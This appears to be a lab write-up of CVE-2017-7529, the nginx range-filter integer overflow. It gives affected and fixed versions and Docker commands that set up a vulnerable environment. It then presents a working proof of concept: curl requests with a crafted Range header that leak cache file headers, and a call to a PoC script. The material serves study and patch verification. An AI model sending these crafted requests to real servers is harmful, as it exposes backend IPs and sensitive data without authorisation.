CVE-2017-7529

Nginx Integer Overflow Vulnerability CVE-2017-7529

Vulnerability Information

When using the nginx standard module, an attacker can obtain cache file header information in the response by sending a header request containing a maliciously crafted range field. In certain configurations, the cache file header may contain the backend server's IP address or other sensitive information, leading to information disclosure.

Reference: 【Vulnerability Analysis】Nginx range filter integer overflow vulnerability (CVE–2017–7529) warning analysis

Vulnerability Impact

This vulnerability affects all Nginx versions 0.5.6 - 1.13.2 with default configuration modules. If caching is enabled, an attacker can send malicious requests for remote attacks, resulting in information disclosure.

When the Nginx server uses proxy caching, an attacker exploiting this vulnerability can obtain the server's backend real IP or other sensitive information.

According to our analysis, this vulnerability has a low exploitation difficulty and can be classified as a low-hanging-fruit vulnerability, with certain practical value in real-world network attacks.

Affected Versions

Nginx version 0.5.6 - 1.13.2

Fixed Versions

Nginx version 1.13.3, 1.12.1

Setup Environment:

1. Pull the image to local

$ docker pull medicean/vulapps:n_nginx_1

2. Start the environment

$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1

The -p 8000:80 preceding 8000 represents the physical machine's port, can be specified arbitrarily.

Usage and Exploitation

POC

1. Access the cache file to get Content-Length, using /proxy/demo.png as an example:

$ curl -I http://127.0.0.1:8000/proxy/demo.png

HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes

See Content-Length: 16585, find a value larger than this, for example 17208, the second range value is 0x8000000000000000-17208, which is 9223372036854758600

2. Set the range in the request as follows:

$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600

See the result:

PoC Script

$ python poc.py http://127.0.0.1:8000/proxy/demo.png

Vulnerable: http://127.0.0.1:8000/proxy/demo.png

Reference Links

• 【Vulnerability Analysis】Nginx range filter integer overflow vulnerability (CVE–2017–7529) warning analysis
• CVE-2017-7529 Nginx Integer Overflow Vulnerability Analysis